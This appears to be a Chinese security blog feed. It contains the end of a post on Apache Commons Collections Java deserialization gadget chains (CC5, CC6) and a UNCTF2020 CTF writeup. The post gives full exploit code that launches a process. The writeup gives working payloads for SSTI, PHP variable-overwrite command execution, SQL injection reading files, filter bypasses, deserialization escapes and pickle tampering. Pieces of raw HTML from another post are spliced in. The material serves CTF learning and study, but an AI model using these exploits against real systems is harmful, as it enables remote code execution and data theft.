后半段用的是cc1,要执行map的get方法,选用的是commonscollection的TiedMapEntry类的toString,toString调用getValue,getValue调用get方法

image-20210413161007076

image-20210413161420420

然后就要找调用toString方法的地方,这里选用的是Java的BadAttributeValueExpException类的readObject方法,设置val为TiedMapEntry类,再设置TiedMapEntry类的map为恶意map即可

image-20210413161227103

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package demo;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC5 {
public static void main(String[] args) throws Exception {
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
//Class runtimeClass=Class.forName("java.lang.Runtime");
new ConstantTransformer(Runtime.class),
//runtime=runtimeClass.getMethod("getRuntime").invoke(null);
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
//runtimeClass.getMethod("exec", String.class).invoke(runtime,"calc.exe");
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
});
HashMap innermap = new HashMap();
Constructor[] constructors = Class.forName("org.apache.commons.collections.map.LazyMap").getDeclaredConstructors();
Constructor constructor = constructors[0];
constructor.setAccessible(true);
Map map = (Map) constructor.newInstance(innermap, chain);
// map.get("2333");

TiedMapEntry tiedMapEntry = new TiedMapEntry(map, 123);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123);
Class clazz = Class.forName("javax.management.BadAttributeValueExpException");
Field field = clazz.getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, tiedMapEntry);

try {
//序列化数据写入文件
ObjectOutputStream obout = new ObjectOutputStream(new FileOutputStream("out.bin"));
obout.writeObject(badAttributeValueExpException);
//从文件中读取并反序列化数据
ObjectInputStream obin = new ObjectInputStream(new FileInputStream("out.bin"));
obin.readObject();
}catch (Exception e){
e.printStackTrace();
}
}
}

Commons Collections 6

影响版本:

  • Commons Collections 3.1

测试环境:

  • JDK 1.7
  • Commons Collections 3.1

利用链

1
2
3
4
5
6
7
8
9
10
11
12
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
...
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()

利用链分析

用了cc1的后半部分,这里对TiedMapEntry类的getValue的调用用的是TiedMapEntry的hashCode

image-20210413163233085

调用hashCode的是HashMap类的hash方法,但是k不控,需要找一个地方调用hash函数且传入参数k可控

image-20210413163420815

put可以可控调用,但是同样key的值不可控

image-20210413163535346

最后是在HashSet的readObject这里,可控调用put函数

image-20210413163642651

e值在writeObject的keySet函数生成,那么只要控制其返回值就可以了

image-20210413163738637

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
import java.util.Set;

public class cc6 {

public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})});

HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);

TiedMapEntry tiedmap = new TiedMapEntry(map,123);

HashSet hashset = new HashSet(1);
hashset.add("foo");

Field field = Class.forName("java.util.HashSet").getDeclaredField("map");
field.setAccessible(true);
HashMap hashset_map = (HashMap) field.get(hashset);

Field table = Class.forName("java.util.HashMap").getDeclaredField("table");
table.setAccessible(true);
Object[] array = (Object[])table.get(hashset_map);

Object node = array[0];

Field key = node.getClass().getDeclaredField("key");
key.setAccessible(true);
key.set(node,tiedmap);

try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc6"));
outputStream.writeObject(hashset);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc6"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}

Commons Collections 7

影响版本:

  • Commons Collections 3.1

测试环境:

  • JDK 1.7
  • Commons Collections 3.1

后半段同样是cc1

总结

主要是transform的方法调用,利用过程主要分成三段:

  • readObject触发
  • 调用transform方法
  • 触发后续链达到rce的目的

版本相关

  • 1、3、5、6、7是Commons Collections<=3.2.1中存在的反序列化链。
  • 2、4是Commons Collections 4.0以上中存在的反序列化链。

参考链接

]]>
<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>大部分参照<strong>p1g3@D0g3</strong>师傅的文章,先入概念太重了,就当放个笔记吧</p> <h2 id="URLDNS"><a href="#URLDNS" class="headerlink" title="URLDNS"></a>URLDNS</h2><p><code>URLDNS</code> 完全使用Java内置的类构造,无需第三方库支持。不能执行命令,通常用来验证目标是否存在反序列化漏洞。</p> <ul> <li>只依赖原生类</li> <li>不限制jdk版本</li> </ul> <p>测试环境:jdk 11u8</p> <h3 id="利用链"><a href="#利用链" class="headerlink" title="利用链"></a>利用链</h3><figure class="highlight reasonml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="module-access"><span class="module"><span class="identifier">HashMap</span>.</span></span>read<span class="constructor">Object()</span></span><br><span class="line"><span class="module-access"><span class="module"><span class="identifier">HashMap</span>.</span></span>hash<span class="literal">()</span></span><br><span class="line"> <span class="module-access"><span class="module"><span class="identifier">URL</span>.</span></span>hash<span class="constructor">Code()</span></span><br><span class="line"> <span class="module-access"><span class="module"><span class="identifier">URLStreamHandler</span>.</span></span>hash<span class="constructor">Code()</span></span><br><span class="line"> <span class="module-access"><span class="module"><span class="identifier">URLStreamHandler</span>.</span></span>get<span class="constructor">HostAddress()</span></span><br></pre></td></tr></table></figure>
UNCTF2020 WriteUp https://jlkl.github.io/2020/11/19/Web_17/ 2020-11-19T02:07:56.000Z 2020-11-19T02:14:16.000Z Web

easy_ssrf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
echo'<center><strong>welc0me to 2020UNCTF!!</strong></center>';
highlight_file(__FILE__);
$url = $_GET['url'];
if(preg_match('/unctf\.com/',$url)){
if(!preg_match('/php|file|zip|bzip|zlib|base|data/i',$url)){
$url=file_get_contents($url);
echo($url);
}else{
echo('error!!');
}
}else{
echo("error");
}
?>

url里只要包含 unctf.com 即可,开始想多了,弄到 gopher 协议了,然后发现 dictgopher 协议根本没开启,手慢错失三血

1
http://e035ba36-6bf8-44c8-9837-2afecc32ca08.node3.hackingfor.fun/?url=/unctf.com/../../../../flag

easyflask

知识点

  • SSTI
  • bypass __

注册 admin 然后登陆,发现路径 secret_route_you_do_not_knowguss 参数 SSTI

__ 被过滤,网上找了下,发现这篇文章:

https://www.secpulse.com/archives/115367.html

payload:

1
?guess={{()|attr(request.args.x1)|attr(request.args.x2)|attr(request.args.x3)()|attr(request.args.x4)(91)|attr(request.args.x5)|attr(request.args.x6)|attr(request.args.x4)(request.args.x7)|attr(request.args.x4)(request.args.x8)(request.args.x9)}}&x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__('platform').popen('cat flag.txt').read()

easyphp

知识点

  • 变量覆盖
  • 0e 开头 sha1 爆破
  • PHP 复杂变量
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php

$adminPassword = 'd8b8caf4df69a81f2815pbcb74cd73ab';
if (!function_exists('fuxkSQL')) {
function fuxkSQL($iText)
{
$oText = $iText;
$oText = str_replace('\\\\', '\\', $oText);
$oText = str_replace('\"', '"', $oText);
$oText = str_replace("\'", "'", $oText);
$oText = str_replace("'", "''", $oText);
return $oText;
}
}
if (!function_exists('getVars')) {
function getVars()
{
$totals = array_merge($_GET, $_POST);
if (count($_GET)) {
foreach ($_GET as $key => $value) {
global ${$key};
if (is_array($value)) {
$temp_array = array();
foreach ($value as $key2 => $value2) {
if (function_exists('mysql_real_escape_string')) {
$temp_array[$key2] = fuxkSQL(trim($value2));
} else {
$temp_array[$key2] = str_replace('"', '\"', str_replace("'", "\'", (trim($value2))));
}
}
${$key} = $_GET[$key] = $temp_array;
} else {
if (function_exists('mysql_real_escape_string')) {
${$key} = fuxkSQL(trim($value));
} else {
${$key} = $_GET[$key] = str_replace('"', '\"', str_replace("'", "\'", (trim($value))));
}
}
}
}
}
}

getVars();
if (isset($source)) {
highlight_file(__FILE__);
}

//只有admin才能设置环境变量
if (md5($password) === $adminPassword && sha1($verif) == $verif) {
echo 'you can set config variables!!' . '</br>';
foreach (array_keys($GLOBALS) as $key) {
if (preg_match('/var\d{1,2}/', $key) && strlen($GLOBALS[$key]) < 12) {
@eval("\$$key" . '="' . $GLOBALS[$key] . '";');
}
}
} else {
foreach (array_keys($GLOBALS) as $key) {
if (preg_match('/var\d{1,2}/', $key)) {
echo ($GLOBALS[$key]) . '</br>';
}
}
}

getVars 函数逻辑使用 $$var 可变量覆盖,md5($password) === $adminPassword 值需要覆盖 adminPassword 值为任意已知原文的md5值即可。sha1($verif) == $verif 这一步采用 0e 相等的方式,附上爆破脚本,爆破了大概半小时……

1
2
3
4
5
6
<?php 
for($i=0;;$i++)
if("0e{$i}"==sha1("0e{$i}"))
die ("[+] found! 0e{$i}");
elseif ($i % 1000000 === 0)
echo "[+] current value: {$i}\n";

payload,然后直接在 phpinfo 页面可以看到 flag

1
?password=123456&verif=0e1290633704&adminPassword=e10adc3949ba59abbe56e057f20f883e&var1=${$a()}&a=phpinfo

上面这个 payload 命令命令执行的话,因为位数限制,执行的命令有限制,这题还可以任意命令执行

1
?password=123456&verif=0e1290633704&adminPassword=e10adc3949ba59abbe56e057f20f883e&var1=${$a($b)}&a=system&b=whoami

非预期:

动态函数,刚好 flag 也可以在 phpinfo 看到

1
?password=123456&verif=0e1290633704&adminPassword=e10adc3949ba59abbe56e057f20f883e&var1=\"$a()?>&a=phpinfo

easyunserialize

  • 反序列化逃逸
  • 逃逸长度增加或减少
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
error_reporting(0);
highlight_file(__FILE__);

class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='easy')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}

function filter($string){
return str_replace('challenge','easychallenge',$string);
}

$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>

序列化字符串逃逸,可以看这篇文章,增加和减少都有讲到

https://blog.csdn.net/qq_45521281/article/details/107135706

需要注意增加或减少逃逸长度的思想,正常的 payload ";s:8:"password";s:4:"easy";},长度为 29,然而每次逃逸的长度为 4,29 不是 4 的倍数。减少是不可能了,那么考虑增加,";s:8:"password";s:4:"easy";i:1} 32 位,是 4 的倍数。

payload:challengechallengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";i:1}

babyeval

正则为 /\(.*\)/,不能使用带括号的 PHP 函数,那么考虑特殊语法 echo 和 include,回显结果不能含有 flag,base64 即可

payload1:

1
?a=echo`cat flag.php|base64`;

payload2:

1
?a=include 'php://filter/read=convert.base64-encode/resource=flag.php';

ezphp

1
2
3
4
5
6
7
8
9
10
11
12
<?php
show_source(__FILE__);
$username = "admin";
$password = "password";
include("flag.php");
$data = isset($_POST['data'])? $_POST['data']: "" ;
$data_unserialize = unserialize($data);
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
echo $flag;
}else{
echo "username or password error!";
}

序列化数组即可,本地 payload 可以,题目环境不可以,发现 == 想到弱类型,flag.php 里面对变量肯定有改动,usernamepassword 改为数字类型的 0 即可,(非得这么考弱类型吗……)

1
data=a:2:{s:8:"username";i:0;s:8:"password";i:0;}

UN’s_online_tools

给了 index.php,登录 post 请求要改到 check.php,然后会跳转到 ping.php,然后都是假界面,index.php 注入然后 os-shell 搞定。

后面发现改了题,换成了命令执行绕过,过滤了空格,用 %09 绕过。又过滤了 flag,使用linux 通配符 /???? 的方式 cat 到 flag

checkin-sql

qwb 随便注改编,三种思路可以参考

https://www.jianshu.com/p/36f0772f5ce8

这里 set..prepare 过滤忽略了大小写,set 和 prepare 不能同时出现,那么换一种思路,使用系统变量。数据库没有东西,尝试写入shell,能写入,但是访问就403错误,猜测 ngnix 配置问题。然后尝试 load_file 读文件,读取到 /tmp/flag.sh 获取到 flag 路径(参照随便注的 dockerfile)为 /fffllaagg,读取即可。

这里有一个小 trick,我是使用的系统变量 general_log_file 来注入,但是发现 select ... /etc/paswd 这样sql语句和目录一起出现的语句不能赋值给 general_log_file,所以我用了两个系统变量,用预编译占位符的方式绕过。

payload:

1
?inject=-1';set global slow_query_log_file="select load_file(?)";set global general_log_file="/fffllaagg";show global variables like "slow_query_log_file";show global variables like "general_log_file";prepare execsql from @@slow_query_log_file;execute execsql using @@general_log_file;#

后来发现预期解是考察存储过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$a = "1';
create procedure `qq`(out string text(1024), in hex text(1024))
BEGIN
SET string = hex;
END;
;#";
echo urlencode($a)."\n";
$b = "1';
call `qq`(@decoded, 0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460);
prepare payload from @decoded;
execute payload;
;#";
echo urlencode($b);
?>

L0vephp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<SCRIPT language=javascript><!--
function runClock() {
theTime = window.setTimeout("runClock()", 100);
var today = new Date();
var display= today.toLocaleString();
window.status=""+display+"黑客导航 - www.hac-ker.com";
}runClock();
//-->
</SCRIPT>
</body>
<body>
<div class="footer-wrapper">
<footer>
<?php
error_reporting(0);
$action = $_GET['action'];
if(isset($action))
{
if (preg_match("/base|data|input|zip|zlib/i",$action)){
echo "<script>alert('Hacker!!!')</script>";
}
else {
include("$action");
}
}
else
{
include("footer.php");
}

?>
</footer>
</div>
</body>
</html>

<!-- B4Z0-@:OCnDf, -->

fuzz 到 action 参数,发现文件包含漏洞,filter 伪协议读源码即可,过滤了 base,换用rot13编码

1
?action=php://filter/read=string.rot13/resource=flag.php

flag.php:

1
2
3
4
<?php
$flag = "unctf{7his_is_@_f4ke_f1a9}";
//hint:316E4433782E706870
?>

hex 解码后发现 1nD3x.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php 


error_reporting(0);
show_source(__FILE__);
$code=$_REQUEST['code'];

$_=array('@','\~','\^','\&','\?','\<','\>','\*','\`','\+','\-','\'','\"','\\\\','\/');
$__=array('eval','system','exec','shell_exec','assert','passthru','array_map','ob_start','create_function','call_user_func','call_user_func_array','array_filter','proc_open');
$blacklist1 = array_merge($_);
$blacklist2 = array_merge($__);

if (strlen($code)>16){
die('Too long');
}

foreach ($blacklist1 as $blacklisted) {
if (preg_match ('/' . $blacklisted . '/m', $code)) {
die('WTF???');
}
}

foreach ($blacklist2 as $blackitem) {
if (preg_match ('/' . $blackitem . '/im', $code)) {
die('Sry,try again');
}
}

@eval($code);
?>

参考 p 神文章,绕过 16 位限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /1nD3x.php?1[]=test&1[]=cat%20/flag_mdnrvvldb&2=system HTTP/1.1
Host: 91cd6671-4678-4d49-b68f-2cfa15e6aa9d.node3.hackingfor.fun
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: __cfduid=d774f57dd2bce55764577fa8151b806c11603020799
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 21

code=usort(...$_GET);

easy_upload

delctf 原题:https://blog.csdn.net/alexhcf/article/details/105946638

上传 .htaccess

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>UPLOAD</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" type="text/css" href="style/css/style1.css">
<link rel="stylesheet" type="text/css" href="style/css/style2.css">
</head>
<?php
error_reporting(0);

$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
$typeAccepted = ["image/jpeg", "image/gif", "image/png"];
if (!file_exists($userdir)) {
mkdir($userdir, 0777, true);
}
if (isset($_POST["upload"])) {
$tmp_name = $_FILES["fileUpload"]["tmp_name"];
$name = $_FILES["fileUpload"]["name"];
$black = file_get_contents($tmp_name);
if (!$tmp_name) {
$result1 ="???";
}else if (!$name) {
$result1 ="filename cannot be empty!";
}
else if (preg_match("/ph|ml|js|cg/i", $name)) {
$result1 = "filename error";
}
else if (!in_array($_FILES["fileUpload"]['type'], $typeAccepted)) {
$result1 = 'filetype error';
}
else if (preg_match("/perl|pyth|ph|auto|curl|\|base|>|rm|ryby|openssl|war|lua|msf|xter|telnet/i",$black)){
$result1 = "perl|pyth|ph|auto|curl|base|\|>|rm|ryby|openssl|war|lua|msf|xter|telnet in contents!";
}
else {
$upload_file_path = $userdir . "/" . $name;
move_uploaded_file($tmp_name, $upload_file_path);
system("chmod +x ".$userdir."/*");
$result2= "Your dir : " . $userdir. ' <br>';
$result3= "Your files :" .$name.'<br>';
}

}else{
$result1 = 'upload your file';
}
?>
<body>
<div class="wrap">
<div class="container">
<h1 style="color: white; margin: 0; text-align: center">UPLOADS</h1>
<form action="index.php" method="post" enctype="multipart/form-data">
<input class="wd" type="file" name="fileUpload" id="file"><br>
<input class="wd" type="submit" name="upload" value="submit">
<p class="change_link" style="text-align: center">
<strong><?php print_r($result1);?></strong>
</br>
<strong><?php print_r($result3);?></strong>
</br>
<strong><?php print_r($result2);?></strong>
</p>
</form>
</div>
</div>
</body>
</html>

ezfind

这题人傻了,直接变成数组就可以绕过,考察的错误转换成true?

1
index.php?name[]=1

easy_flask2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from flask import Flask,render_template,redirect,request,session,make_response
import config
import pickle
import io
import sys
import base64

class Person:
def __init__(self, name, is_admin):
self.name = name
self.is_admin = is_admin

class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == '__main__':
return getattr(sys.modules['__main__'], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))


def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()

app = Flask(__name__)
flag = "xxx"

@app.route("/")
def index():
app.config["SECRET_KEY"] = config.secret_key
return redirect("login")


@app.route("/login",methods=["GET","POST"])
def login():
if request.form.get('name'):
name = request.form.get('name')
person = Person(name,0)
pkl = pickle.dumps(person)
pkl = base64.b64encode(pkl)

resp = make_response(name)
resp.set_cookie('pkl',pkl)

session['name'] = name
session['is_admin'] = 0
return resp

else:
if session.get('name'):
if b'R' in base64.b64decode(request.cookies['pkl']):
return "RCE??"
person = pickle.loads(base64.b64decode(request.cookies['pkl']))
print(person.is_admin)
if session.get('is_admin') == 1:
#person = pickle.loads(base64.b64decode(request.cookies['pkl']))
if person.is_admin == 1:
return "HHHacker!Here is Your flag : " + flag
return render_template("index.html",name=session.get('name'))

else:
return render_template("login.html")

@app.route("/logout",methods=["GET","POST"])
def logout():
resp = make_response("success")
resp.delete_cookie("session")
resp.delete_cookie("pkl")
return resp

@app.route("/source")
def source():
return open('code.txt','r').read()


if __name__ == "__main__":
app.run(host="0.0.0.0",port=5000,debug=True)

赛后复现了一下,考点是 pickle 反序列化覆盖 secret_key 以及 flask cookie 伪造

pickle 反序列化可以参考以下几篇文章:

https://xz.aliyun.com/t/7436

https://www.anquanke.com/post/id/188981

https://www.smi1e.top/%E4%BB%8Ebalsn-ctf-pyshv%E5%AD%A6%E4%B9%A0python%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/

https://zhuanlan.zhihu.com/p/89132768

手搓字节码关键在于理解 opcode 作用,不太理解的可以尝试阅读源代码帮助理解,以及理清栈和 memo 里每一步的数据。可以使用 pker 帮助构建,建议可以在本地测试 opcode 是否构建正确

pker 代码,覆盖 secret_key ,返回 Person 对象

1
2
3
4
secret = GLOBAL('__main__', 'config')
secret.secret_key = 'hello'
person = INST('__main__', 'Person', 'admin', 1)
return person

然后使用 flask-session-cookie-manager 伪造 cookie,注意这里的参数都需要用双引号扩起来,github 文档示例不太对,会报错

1
py -3 flask_session_cookie_manager3.py encode -s "hello" -t "{'name':'admin','is_admin':1}"

具体流程,登录过后,修改 coookie 的 pkl,访问 /login 反序列化覆盖 secret_key ,然后再访问 / 覆盖掉 app.config["SECRET_KEY"],接着更改 cookiesession 为篡改的 session 访问 /login 即可获得 flag

Misc

baba_is_you

010 editor 打开发现最后有个 b 站地址,访问后第一条评论就是 flag

https://www.bilibili.com/video/BV1y44111737

阴阳人编码

1
2
3
4
5
6
7
8
就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这.
就这. 就这. 就这. 就这. 就这. 不会吧! 就这¿ 不会吧! 不会吧! 就这. 就这¿ 就这. 就这. 就这. 就这.
就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这.
就这. 就这¿ 就这. 就这¿ 不会吧! 就这. 就这¿ 就这. 就这. 就这. 就这. 不会吧! 就这. 就这. 就这.
就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 就这. 不会吧! 就这. 就这¿ 就这. 就这.
就这. 就这. 就这. 就这. 就这. 不会吧! 就这¿ 不会吧! 不会吧! 就这. 就这¿ 不会吧! 不会吧! 不会吧! 不会吧!
不会吧! 不会吧! 就这¿ 就这. 就这¿ 不会吧! 就这. 就这¿ 不会吧! 不会吧! 不会吧! 不会吧! 不会吧! 就这. 就这.
……

三个密码子,最先猜测摩斯密码肯定不对,后来又尝试了其他很多密码,最后想到 Ook 编码三个密码子,且对应后缀 .?! 然后解密即可

爷的历险记

游戏还是很好玩,按照游戏流程过游戏,然后修改 rpgsave 存档文件,修改金钱数即可购买 flag

YLB’s CAPTCHA - 签到题

ylb 的验证码给搬上来了,正确输入 10 次即可获得 flag,不得不吐槽,眼睛都快瞎了

躲猫猫

把图移开后发现 base64 后的 flag

YLB绝密文件

流量包获取到三个文件 xor.pyYLBSB.xorsecret.pyc

pyc 反编译的到 key ,然后编写脚本跑就完事,3M的文件,跑了一个小时。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
'''
@time:2020/11/09 19:44:44
@author:Str3am
'''

import base64
key = 'YLBSB?YLBNB!'
enc = open("YLBSB.xor", "rb")
file = open("YLBSB.docx", "wb")
ciper = enc.read()
file_base64 = b''
count = 0
for c in ciper:
m = c^ord(key[count % len(key)])
file_base64 = file_base64+chr(m).encode()
count = count + 1
# if count == 8:
# break
file.write(base64.b64decode(file_base64))

mouse_click

流量分析,usb协议,参照这篇文章,提取出坐标点,然后plot绘图即可得flag的镜像

https://blog.csdn.net/qq_43625917/article/details/107723635

unctf{U5BC@P}

撕坏的二维码

补齐定位点扫描即得

unctf{QR@2yB0x}

零宽度字符,解密即得 unctf{sycj24_6hvgj_8gfj}

你能破解我的密码吗

john直接破解密码为 123456

被删除的flag

010 editor直接读

网络深处

解码工具分析出拨号内容,解压后发现塔珀自指公式,参考这篇文章解出

https://www.cnblogs.com/l137/p/3594664.html

flag{Y29pbA==}

EZ_IMAGE

参考文章,montage + gaps拼图

https://shawroot.cc/archives/639

image-20201114003717337

UNCTF{EZ_MISC_AND_HACK_FUN}

PWN

YLBNB

直接一直回车,然后出了部分 flag UNCTF{Gu@rd_Th3_Bes7_,结合题目名字,UNCTF{Gu@rd_Th3_Bes7_YLB},没有pwn环境,有空学一学,应该就是一直请求接收包就可以。

Crypto

easy_rsa

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from Crypto.Util import number
import gmpy2
from Crypto.Util.number import bytes_to_long

p = number.getPrime(1024)
q = number.getPrime(1024)
if p > q:
a = p + q
b = p - q
print(a,b)

n = p * q
e = 65537
phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)
m = bytes_to_long(b'msg')
c = pow(m,e,n)
print(c)

#320398687477638913975700270017132483556404036982302018853617987417039612400517057680951629863477438570118640104253432645524830693378758322853028869260935243017328300431595830632269573784699659244044435107219440036761727692796855905230231825712343296737928172132556195116760954509270255049816362648350162111168
#9554090001619033187321857749048244231377711861081522054479773151962371959336936136696051589639469653074758469644089407114039221055688732553830385923962675507737607608026140516898146670548916033772462331195442816239006651495200436855982426532874304542570230333184081122225359441162386921519665128773491795370
#22886015855857570934458119207589468036427819233100165358753348672429768179802313173980683835839060302192974676103009829680448391991795003347995943925826913190907148491842575401236879172753322166199945839038316446615621136778270903537132526524507377773094660056144412196579940619996180527179824934152320202452981537526759225006396924528945160807152512753988038894126566572241510883486584129614281936540861801302684550521904620303946721322791533756703992307396221043157633995229923356308284045440648542300161500649145193884889980827640680145641832152753769606803521928095124230843021310132841509181297101645567863161780

a,b已知,通过加减乘除即可知 p,q

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
'''
@time:2020/11/07 23:56:39
@author:Str3am
'''
import gmpy2
from Crypto.Util.number import long_to_bytes, isPrime

a = 320398687477638913975700270017132483556404036982302018853617987417039612400517057680951629863477438570118640104253432645524830693378758322853028869260935243017328300431595830632269573784699659244044435107219440036761727692796855905230231825712343296737928172132556195116760954509270255049816362648350162111168
b = 9554090001619033187321857749048244231377711861081522054479773151962371959336936136696051589639469653074758469644089407114039221055688732553830385923962675507737607608026140516898146670548916033772462331195442816239006651495200436855982426532874304542570230333184081122225359441162386921519665128773491795370
c = 22886015855857570934458119207589468036427819233100165358753348672429768179802313173980683835839060302192974676103009829680448391991795003347995943925826913190907148491842575401236879172753322166199945839038316446615621136778270903537132526524507377773094660056144412196579940619996180527179824934152320202452981537526759225006396924528945160807152512753988038894126566572241510883486584129614281936540861801302684550521904620303946721322791533756703992307396221043157633995229923356308284045440648542300161500649145193884889980827640680145641832152753769606803521928095124230843021310132841509181297101645567863161780

q = (a-b)//2
p = a - q
n = p * q
phi = (p-1)*(q-1)
e = 65537
d = gmpy2.invert(e,phi)

m = pow(c,d,n)
print(long_to_bytes(m))
# UNCTF{welcome_to_rsa}

这里需要注意的是,如果是 q = (a-b)/2 ,会抛出 OverflowError: int too large to convert to float。这里是因为在 Python3 里面,/ 默认是浮点数除法,q 默认类型即为 float ,浮点数对于大数会出现掉精度的问题,导致相减时范围溢出。

解决方法是换用整数除法 \\,整数除法在 Python3 里面是结果向下取整,如下,但重要的是做大数除法的时候会保留 int 类型的精度。

1
2
3
4
>>> 9/2
4.5
>>> 9//2
4

简单的RSA

winner attack 获取到 d 的值,然后解密即可

1
2
3
4
5
6
